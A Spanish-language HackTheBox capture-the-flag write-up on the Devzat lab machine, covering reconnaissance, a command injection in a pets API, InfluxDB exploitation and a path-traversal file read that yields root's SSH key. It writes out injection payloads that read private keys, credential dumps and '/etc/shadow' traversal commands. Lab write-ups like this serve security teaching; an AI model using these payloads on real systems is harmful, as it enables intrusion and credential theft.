HackTheBox - Devzat


Creado
HackTheBox - Devzat

Máquina Linux nivel medio. Chatearemos (realmente robaremos chats) con SSH, inyectaremos comandos locochones, romperemos InfluxDB y leeremos archivos del sistema mediante un LFI.

TL;DR (Spanish writeup)

Creada por: c1sc0.

Vamos a chatear, pero con respeto.

Encontraremos un servidor web que nos enseña el cómo chatear mediante SSH :O Jugaremos con esto para descubrir algunas conversaciones privadas entre usuarios del sitio.

También encontraremos un subdominio algo escondido, peeero más escondida estará la inyección de comandos que explotaremos en ese nuevo subdominio (: Así lograremos una sesión en el sistema como el usuario patrick.

Acá retomaremos nuestro chat y las conversaciones filtradas para jugar con la base de datos InfluxDB, la explotaremos y obtendremos unas credenciales guardadas ahí, estas nos permitirán acceder al sistema como el usuario catherine.

Ya siendo catherine, patrick le comenta (volvemos a robarnos chats) que existe un feature para el programa que permite el chat por SSH. El feature es un simple “copy/paste file”, básicamente podemos copiar archivos del sistema dentro del chat, la locura es que no esta bien sanitizado yyyy podemos leer archivos como root yyyyyyy leer cualquier objeto del sistema, robaremos la llave privada SSH de root para obtener una Shell en el sistema.

Clasificación de la máquina según la gentesita

Algo de enumeración, pero poca realidad :’(

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por que no hacerlo? … Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!

Parce, simplemente vive!

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Jugamos con InfluxDB.
  5. Escalada de privilegios.

Reconocimiento #


Enumeración de puertos con nmap 📌

Como siempre vamos a descubrir que servicios tiene activos y accesibles públicamente la máquina, usaremos nmap:

❱ nmap -p- --open -v 10.10.11.118 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard
❱ cat initScan
# Nmap 7.80 scan initiated Mon Feb 21 25:25:25 2022 as: nmap -p- --open -v -oG initScan 10.10.11.118
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.118 () Status: Up
Host: 10.10.11.118 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 8000/open/tcp//http-alt///
# Nmap done at Mon Feb 21 25:25:25 2022 -- 1 IP address (1 host up) scanned in 220.73 seconds

El escaneo encontró estos puertos (servicios):

Puerto Descripción
22 SSH: Permite obtener una terminal de manera segura.
80 HTTP: Un servidor web.
8000 HTTP: Otro servidor web.

Ahora que tenemos los puertos (servicios), vamos a ver que software y versión en específica (si es que la muestra) esta ejecutándose en cada uno, así mismo probaremos pequeños scripts propios de nmap para intentar descubrir más cositas:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno (esto es más útil en casos donde tenemos muuuuchos puertos):

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.118
    [*] Open ports: 22,80,8000

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,8000 -sC -sV 10.10.11.118 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Este es el resultado:

# Nmap 7.80 scan initiated Mon Feb 21 25:25:25 2022 as: nmap -p 22,80,8000 -sC -sV -oN portScan 10.10.11.118
Nmap scan report for 10.10.11.118
Host is up (0.18s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=2/21%Time=6214602E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 21 25:25:25 2022 -- 1 IP address (1 host up) scanned in 44.95 seconds

Acá vemos temitas relevantes:

Puerto Servicio Versión
22 SSH OpenSSH 8.2 protocol 1
80 HTTP Apache 2.4.41

Acá el servidor intenta hacer un redirect (enviarnos a otra página) hacia http://devzat.htb, pero no lo logra porque no entiende que “resolver”, ya hablaremos rápidamente de esto.

Puerto Servicio Versión
8000 SSH (?) Si nos fijamos, casi al final dice: SSH-2.0-Go
  • Curiosa y extrañamente nmap lo interpreta como otro servidor SSH, jmmmm…

Pues no hay mucho más que podamos rescatar, así que empecemos a jugar (:

Enumeración #


Recorridos por el puerto 80 📌

Antes de explorar, recordemos el redirect mostrado por nmap. Lo que pasa es que el servicio cuando recibe una petición hacia la dirección IP 10.10.11.118 intenta que su contenido sea resuelto por el del dominio devzat.htb, pero como no hay ninguna relación actual entre la IP y el dominio, nos da un error y claramente no podemos ver el contenido.

Esto se soluciona muuy fácil, jugando con el archivo /etc/hosts para que exista la relación y, por lo tanto, una resolución correcta:

❱ cat /etc/hosts
...
10.10.11.118  devzat.htb
...

Ahora sí, visitemos el sitio y no debería existir error:

En la web tenemos este texto:

So basically I offer you a way to chat anytime from everywhere (well at least if you have a ssh client available)

Jmmmmm, ¿chatear mediante SSH? Recordemos que teníamos un puerto con al parecer otro SSH… Siguiendo en la web, al final vemos:

Como conectarnos al chat:

Un email con el username patrick:

Podemos guardarlo por si algo… Para destacar, veamos el chat:

❱ ssh lanz@devzat.htb -p 8000

...
devbot: You seem to be new here lanz. Welcome to Devzat! Run /help to see what you can do.
...

RabbitHole (perdiendo el tiempo)

Contamos con un apartado para escribir, veamos la ayuda:

Entre todo lo que podemos enumerar y jugar, destacamos el link del proyecto y el comando /commands

Jugando con los comandos no llegamos a ningún sitio, son cositas interesantes para hacer (chatear en privado, cambiar el color del nickname, jugar tetris, crear cuartos para hablar, entre otras), pero que no nos sirven para intentar juaquiarlo

Después de perder MUCHO tiempo (mucho enserio) buscando entre los commits y en los issues posibles fallos que permitieran algún tipo de explotación, tomamos aire y pensamos distinto…

Salimos del RabbitHole

Si tenemos memoria (o en su defecto, notas (como yo :P)) tenemos el nombre patrick, si intentamos iniciar sesión con ese nickname nos responde:

❱ ssh patrick@devzat.htb -p 8000
Nickname reserved for local use, please choose a different one.
> 

Reservado para uso local… PEEEEEROOOO y si intentamos algo como pAtrick o paTrick o algún cambio con respecto a patrick tenemos esto:

❱ ssh patrick@devzat.htb -p 8000
Nickname reserved for local use, please choose a different one.
> paTRick

Uuuuuuh, podemos saltar la lista negra de usuarios (si intentamos admin también sale el mensaje, pero Admin (y otros) lo bypassea) e ingresar como patrick :O PEERO esto no es lo mejor, si es que no has visto hay una conversación guardada con el usuario admin con una línea clave:

So I setup the influxdb for you

Jmmm, existe una configuración de la base de datos InfluxDB, esta DB esta especializada en guardar datos científicos que se generan en muuuy poco tiempo (o sea, muuuuchos datos).

Interesante. Pero jugando con exploits nos indica que necesitamos el puerto 8086 expuesto (y no podemos pensar en otro porque los demás que están abiertos ya sabemos para qué son), así que F, no hay manera de probarlos… Sigamos a ver si nos encontramos…

Al no tener nada en la propia web ni en el código fuente, no ver ningún link interesante, o sea, estar nulos, acá se nos ocurre algo. ¿Y si fuzzeamos buscando posibles subdominios asociados al dominio principal (host)? Intentémoslo, usaré la herramienta wfuzz:

❱ wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.118 -H 'Host: FUZZ.devzat.htb'

Le indicamos el wordlist (lista de palabras que probará), la dirección IP del host y modificamos uno header llamado Host, acá le pasamos cada una de las palabras para que sean concatenadas con el dominio principal, por ejemplo: la palabra es hola, el programa generará una petición web a hola.devzat.htb y si la respuesta es un 200 Ok sabemos que ese subdominio esta asociado al host.

Al ejecutarlo nos muestra muchos falsos positivos:

...
000000003:   302        9 L      26 W       282 Ch      "ftp"
000000007:   302        9 L      26 W       286 Ch      "webdisk"
000000026:   302        9 L      26 W       282 Ch      "vpn"
000000025:   302        9 L      26 W       284 Ch      "mail2"
000000024:   302        9 L      26 W       284 Ch      "admin"
...

Los quitamos filtrando por alguna de las columnas, en este caso tomemos el número de palabras (W):

❱ wfuzz -c --hw=26 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.118 -H 'Host: FUZZ.devzat.htb'

Así que mostrará toda respuesta que no tenga 26 palabras, después de un rato nos responde:

Opa, tenemos un posible subdominio, agreguémoslo al objeto /etc/hosts para que resuelva con respecto a la info del host (10.10.11.118):

❱ cat /etc/hosts
...
10.10.11.118  devzat.htb pets.devzat.htb
...

Yyy veamos que responde:

Jmmm, una lista de mascotas (no sé en qué se relaciona con la info del host :P), al final hay un apartado para agregar una mascota y su especie:

Pues juguemos a agregar cositas 🥵 …

Al colocar el nombre de mascota <h1>hola</h1> (para inyectar código HTML y buscar posible XSS), vemos una curiosa respuesta al agregar el ítem:

Jmmmmmmmmm…

exit status 1

De inmediato me llegaron a la cabeza los errores de Linux (el 1 sale cuando hay errores ejecutando algún comando), no tiene porque estar relacionado, pero es llamativo, por lo que podemos intentar algún tipo de inyección de comandos, uno nunca sabe :P

Jugando y jugando con el apartado Add a Pet no logramos nada, profundizando en como viaja la petición al añadir una mascota notamos que hay una API:

Pues inspeccionémosla:

Bien, para destacar:

  • Formato JSON.
  • Existen 2 campos más en la respuesta de la petición, pero solo uno de ellos es el que viaja inicialmente desde Add a Pet, name.

Si nos fijamos en la imagen donde encontramos la API hay dos peticiones, lo que hace es que primero postea el ítem y luego los recupera (get) para mostrarlos en la pantalla principal, así que si queremos jugar con esto debemos hacer esas dos peticiones también, para agregarlo y para ver la respuesta. Usemos cURL y la terminal así estamos más cómodos:

Primero juguemos con los campos que recibe la API:

  • name
  • species
  • characteristics

❱ curl -s -d '{"name":"hola"}' http://pets.devzat.htb/api/pet
Pet was added successfully

Con -s evitamos output no deseado de cURL y con -d le pasamos la DATA de la petición, en este caso debe ser JSON.

Como ese mensaje de respuesta no nos interesa y sí lo nuevo agregado a la API, quitamos todo output del primer comando y seguido hacemos petición a recurso que tiene la info de la API:

❱ curl -s -d '{"name":"hola"}' http://pets.devzat.htb/api/pet > /dev/null ; curl -s http://pets.devzat.htb/api/pet
[{"...
...
..."},{"name":"hola","species":"","characteristics":"exit status 1"}]

Bien, si queremos podemos usar una herramienta llamada jq que tomara el JSON resultante y le dará un output muuucho más lindo y estético:

❱ curl -s -d '{"name":"hola"}' http://pets.devzat.htb/api/pet > /dev/null ; curl -s http://pets.devzat.htb/api/pet | jq
...
  },
  {
    "name": "hola",
    "species": "",
    "characteristics": "exit status 1"
  }
]

AHORA SI A JUGAR Y EXPERIMENTAR CON LOS CAMPOOOOOOOOOOOOOOOOOOS (:

Explotación #

Ya probamos antes inyectando únicamente el campo name y nada de nada, aprovechemos que tenemos interacción con otros dos campos para testear…

❱ curl -s -d '{"name":"hola","species":"hola"}' http://pets.devzat.htb/api/pet > /dev/null ; curl -s http://pets.devzat.htb/api/pet | jq
...
  },
  {
    "name": "hola",
    "species": "hola",
    "characteristics": "exit status 1"
  }
]

Bieeen, también lo envía, pero characteristics no:

❱ curl -s -d '{"name":"hola","species":"hola","characteristics":"hola"}' http://pets.devzat.htb/api/pet > /dev/null ; curl -s http://pets.devzat.htb/api/pet | jq
...
  },
  {
    "name": "hola",
    "species": "hola",
    "characteristics": "exit status 1"
  }
]

Así que juguemos inicialmente con species

Encontramos extraño Command Injection 📌

Teniendo en mente que quizás exista un command injection probamos el clásico ; para decirle que después del comando que esté ejecutando la web (si es que nuestra teoría es real) haga lo que sea que le pongamos (otro comando claramente), por ejemplo id:

❱ curl -s -d '{"name":"hola","species":"; id"}' http://pets.devzat.htb/api/pet > /dev/null ; curl -s http://pets.devzat.htb/api/pet | jq

Ejecutamos yyyy:

EJEJEEEEEEEEY, el comando id se ha ejecutadoooooooOOOOOOOOOOO (:D El tema es que el sistema intenta buscar dentro del directorio characteristics suponemos que algo relacionado con species, como no lo encuentra devuelve el error 1:

# EJEMPLO
❱ ls -la
...
drwxr-xr-x 1 lanz lanz  46 feb 22 25:25 content
❱ cat content/
'content/' is a directory.
❱ echo $?   # Así vemos el codigo de estado del comando anterior
1
❱ cat content/; id   # Y así se genera el command injection
'content/' is a directory.
uid=1000(lanz) gid=1000(lanz) grupos=1000(lanz)
# EJEMPLO

Y pues finaliza ejecutando la otra instrucción: id :D

PerfecTOOOOTOTOTO, el usuario que esta manteniendo el servidor web se llama patrick (ya habíamos interactuado con este nombre ¿lo recuerdas?)… Ahora consigamos una Shell en el sistema, ¿no?

Entre tooodas las formas posibles, ¿y si buscamos una llave privada SSH a ver si podemos tomarla, copiarla y conectarnos al sistema sin necesidad de colocar contraseña o de estar creando reverse shells? A darle a ver si hay suerte:

Lo haremos manual, pero al final de este apartado dejare un script para automatizar el command injection.


❱ curl -s -d '{"name":"hola","species":"; ls -a /home"}' http://pets.devzat.htb/api/pet ...
...
    ..."cat: characteristics/: Is a directory\n.\n..\ncatherine\npatrick\n"
...

Hay dos usuarios en el sistema con casita, catherine (podemos listar más no ver sus archivos) y patrick tiene la carpeta .ssh:

❱ curl -s -d '{"name":"hola","species":"; ls -a /home/patrick"}' http://pets.devzat.htb/api/pet > /dev/null ; curl -s http://pets.devzat.htb/api/pet | jq
...
    ..."cat: characteristics/: Is a directory\n.\n..\n.bash_history\n.bash_logout\n.bashrc\n.cache\n.config\ndevzat\n.gitconfig\n.gnupg\ngo\n.npm\npets\n.profile\n.ssh\n.viminfo\n"
...

Varios objetos (notamos que catherine es la que tiene la flag user.txt), veamos si existen las llaves:

❱ curl -s -d '{"name":"hola","species":"; ls -a /home/patrick/.ssh"}' http://pets.devzat.htb/api/pet ...
...
    ..."cat: characteristics/: Is a directory\n.\n..\nauthorized_keys\nid_rsa\n"
...

Existeeeeee! Tomémosla y copiemos su contenido:

❱ curl -s -d '{"name":"hola","species":"; cat /home/patrick/.ssh/id_rsa"}' http://pets.devzat.htb/api/pet ...
...
    "characteristics": "cat: characteristics/: Is a directory\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEA0z5vGXu4rlJWm2ffbekliU8N7KSuRj9tahP...
...

Copiamos desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY----- y pegamos (que les quede sin espacios ni saltos) en un archivo de nuestro sistema, el archivo nos va a quedar con un formato estéticamente incorrecto, ya que los saltos de línea no los va a interpretar, así que para que sean interpretados le decimos que cambie \n (salto) a \r (retorno de carro):

❱ vim patrick.id_rsa
ESC
Shift + :       # Y escribimos lo de abajo
:%s/\\n/\r/g

YYyyyy:

❱ cat patrick.id_rsa  | head
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA0z5vGXu4rlJWm2ffbekliU8N7KSuRj9tahP3+xTk/z/nKzb2UCi7
...

Perfecto, procedamos a jugar…

Con SSH le indicamos que vamos a iniciar sesión por medio de una llave privada (así no nos pide contraseña) usando el argumento -i:

Tenemos una Shell en el sistema por medio de SSH como el usuario PATRIIIIIIIIIIIIIIIIIIICK, sigamos (:

Aprovechamos la oportunidad para crear un script en Ruby automatizando tooooda la explotación.

commandInjectionAT.rb

… Ahora si démosle a la máquina.

InfluxDB : Patrick -> Catherine #

Antes de volvernos locos enumerando el sistema, recordemos la conversación de Patrick y Admin, ellos hablaban sobre InfluxDB yyy en nuestra enumeración vimos que por lo general en caso de estar activo, se encuentra en el puerto 8086, pues veamos si ese puerto esta activo (y si no, nos fijaríamos en los otros, quizás el admin cambio el puerto por default):

patrick@devzat:~$ netstat -ln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
...
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN
...

Y tenemos ese puerto activo internamente, pos aprovechemos esto para probar el exploit que se había encontrado:

La vaina es que para ejecutar el script se necesitan algunas librerías que no tiene el sistema instaladas, esto sería un problema si es que se nos llegase a olvidar el concepto -redireccionamiento de puertos-, ya que con él podemos jugar indicando que el contenido de un puerto (en este caso el 8086 de devzat) sea redirigido a otro puerto (en este caso alguno de nuestro sistema (en el que podemos controlar que librerías instalar y que no)), veamos:

Como tenemos “credenciales”, podemos seguir usando SSH para esta tarea, únicamente le decimos que tome el puerto 8086 del localhost (devzat) y lo redirija al puerto 8086 pero de nuestro localhost (máquina del atacante):


❱ ssh patrick@devzat.htb -i patrick.id_rsa -L 8086:localhost:8086 

Lo ejecutamos yyy para validar que efectivamente se haya realizado el Fortwarding, podemos ver que info del puerto actualmente (pues en nuestra máquina):

❱ lsof -i:8086
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
ssh     435685 lanz    4u  IPv6 1547604      0t0  TCP localhost:8086 (LISTEN)
ssh     435685 lanz    5u  IPv4 1547605      0t0  TCP localhost:8086 (LISTEN)

PEEEEEEEERFEEECTO, ya tenemos el contenido del puerto 8086 (de devzat) en nuestro sistema, ahora si a probaaaaar…

Lo descargamos, ejecutamos y nos va a pedir 3 parámetros, host y puerto donde esta corriendo InfluxDB y un usuario (o lista de usuarios) válido dentro de la DB. Probando por default tanto a patrick como a catherine no logramos nada y recibimos esta respuesta:

Peeero si probamos admin, tenemos:

Bien, la versión actual de InfluxDB es vulnerable al exploit, así que veamos que podemos hacer dentro de la “fake” shell generada por el script (:

Con ayuda de esta guía podemos interactuar con la info de la base de datos:

Ya tenemos las bases de datos actuales:

Databases:

1) devzat
2) _internal

Veamos la info de devzat:

[admin@127.0.0.1] Database: 1

Starting InfluxDB shell - .back to go back
[admin@127.0.0.1/devzat] $

Para visualizar las tablas asociadas a esa base de datos:

[admin@127.0.0.1/devzat] $ SHOW measurements

Hay una sola tabla llamada user, para dumpear su contenido ejecutamos:

[admin@127.0.0.1/devzat] $ SELECT * FROM "user"

YyyyyiiiIi:

{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Opa, usuarios y contraseñas… Si damos un recorrido rápido por los nombres claramente uno nos llama la atención (igual guardamos todos por si).

Ahí esta Catherine, un nombre que también esta como usuario del sistemaaaaaaa! Pos robémonos su contraseña y hagamos lo que siempre toca hacer, validar una reutilización de contraseñas (:

EPAAALEEE! Tenemos una sesión en el sistema como catherine 😏 Veamos ahora como convertirnos en administradores.

Escalada de privilegios #

Al jugar con el chat SSH logramos saltar la lista negra relacionada con patrick, en su momento me dio curiosidad probar con respecto a catherine y esto fue lo que me encontré:

Patrick habla con Catherine sobre un nuevo feature y le indica varias cositas:

  • Puede probarlo localmente, ya que la versión en desarrollo esta alojado en el puerto 8443.
  • Para usarlo se necesita una contraseña que ella ya tiene (jmmm, quizás alguna de las que encontramos?).
  • Yyyy que le dejo el código fuente para que ella lo revise en backups.

Bieeeeen, evitamos deambular por el sistema (: Solo nos queda explorar esas referencias y ver que tienen de importante.

Busquemos en el sistema archivos que en su nombre tengan "backups":

catherine@devzat:~$ find / -name "backups" 2>/dev/null
/snap/core18/2128/var/backups
/snap/core18/2074/var/backups
/var/backups

Los 3 resultados son directorios, el último tiene esta info:

Si nos fijamos hay dos objetos que pertenecen a catherine yyyyyyy uno de ellos tiene relación con la conversación entre ella y patrick: están los objetos (al parecer) de la versión en desarrollo, pues copiémonos ese objeto y transfirámoslo a nuestro sistema para ver su contenido con calma, levantamos rápidamente un servidor web en la máquina víctima y desde nuestra máquina atacante tomamos el archivo para guardarlo:

catherine@devzat:/var/backups$ python3 -m http.server 8765
Serving HTTP on 0.0.0.0 port 8765 (http://0.0.0.0:8765/) ...
❱ curl http://10.10.11.118:8765/devzat-dev.zip -o devzat-dev.zip

Yyyy:

❱ file devzat-dev.zip 
devzat-dev.zip: Zip archive data, at least v1.0 to extract

Listo, descomprimamos su contenido:

❱ unzip devzat-dev.zip 
Archive:  devzat-dev.zip
   creating: dev/
  inflating: dev/go.mod
 extracting: dev/.gitignore
  inflating: dev/util.go
  inflating: dev/testfile.txt
  inflating: dev/eastereggs.go
  inflating: dev/README.md
  inflating: dev/games.go
  inflating: dev/colors.go
 extracting: dev/log.txt
  inflating: dev/commands.go
  inflating: dev/start.sh
  inflating: dev/devchat.go
  inflating: dev/LICENSE
  inflating: dev/commandhandler.go
  inflating: dev/art.txt
  inflating: dev/go.sum
 extracting: dev/allusers.json

Contiene los mismos objetos que maneja el programa del chat SSH, recorramos algunos objetos a ver que encontramos…

En el archivo commands.go (que como su nombre lo indica, tiene los comandos permitidos en el programa (chat)), encontramos una validación de una contraseña en texto plano (de la que hablaron en su conversación):

Listooooos! Probando reutilización de contraseñas no logramos nada.

Algo curioso es el nombre de la función, ¿pero qué tiene de curioso?:

  • La idea de la función es leer archivos del sistema, tomar su contenido y pegarlos en el chat:

    Bastante llamativo, habrá que ver si esta bien programado (aunque dice “alpha”, uhhhh)

Pues interactuemos con el chat interno y salgamos de dudas (:

catherine@devzat:~$ ssh catherine@localhost -p 8443

Bien, casi la misma conversación, patrick le dice que puede probar a hacer un diff entre la instancia principal (main) y la de desarrollo (dev), peeero nosotros posiblemente ya notamos el cambio, así que obviamos eso por ahora yyyyyyy además también le dice que la seguridad es muuuy pobre (:

Juguemos con el comando del archivo:

cAtherine: /commands
...
[SYSTEM] file - Paste a files content directly to chat [alpha]
cAtherine: /commands

Ahí esta la opción, pues probemos por extraer el contenido del objeto /etc/passwd del sistema:

catherine: /file
[SYSTEM] Please provide file to print and the password
catherine: /file /etc/passwd
[SYSTEM] You need to provide the correct password to use this function
catherine: /file /etc/passwd hola
[SYSTEM] You did provide the wrong password

Uhhhhhh, varias cositas a destacar:

  • El programa por default esta leyendo objetos de la carpeta /root (para acceder se necesitan permisos de administrador), esto puede significar dos cosas: O el puerto 8443 esta siendo ejecutado por root o la función que ejecuta /file tiene algunos permisos administrativos (las dos opciones son aterradoras en caso de no estar bien sanitizados.
  • Al ver la ruta completa se me viene a la mente el probar romper esa cadena y salirnos de las carpetas /root/devzat para finalmente llegar a /etc/passwd, o mejor dicho hacer una inclusión local de archivos (LFI), que permite ver archivos del sistema a los que realmente no deberíamos tener acceso.

Pues rompaaaamos (o intentemos) esa vaina:

catherine: /file ../etc/passwd CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/etc/passwd does not exist!

BIEEEEEEEEN, lo esta haciendo, así queeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:

catherine: /file ../../etc/passwd CeilingCatStillAThingIn2021?

Listo, logramos el LFI, solo nos queda validar si tenemos permiso de leer cualquier objeto del sistema, por ejemplo descubramos el archivo que contiene las contraseñas de los usuarios, /etc/shadow:

catherine: /file ../../etc/shadow CeilingCatStillAThingIn2021?

TENEMOS ACCESO A CUALQUIER OBJETO DEL SISTEMAAAAAAAAAAAAAAAAAAAA!! Veamos si root tiene llave privada para robárnosla y conectarnos sin proveer contraseña:

TIENEEEEEEEEEEEEEEEEE! La copiamos, pegamos en un objeto de nuestro sistema, modificamos permisos yyyyyyyyyyyyyyyyyy:

❱ ssh root@devzat.htb -i root.id_rsa

(: Conseguimos finalmente una Shell como el usuario root, veamos las flags:

Nos juiiimos!

Una máquina bastante rara con respecto a las explotaciones y el camino hacia root, no me disgusto, pero no fue del todo agradable.

Eso sí, conocí una herramienta bastante llamativa, SSH Chat.

Nos leeremos después, y nada, a seguir rompiendo de todoooooooooooo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus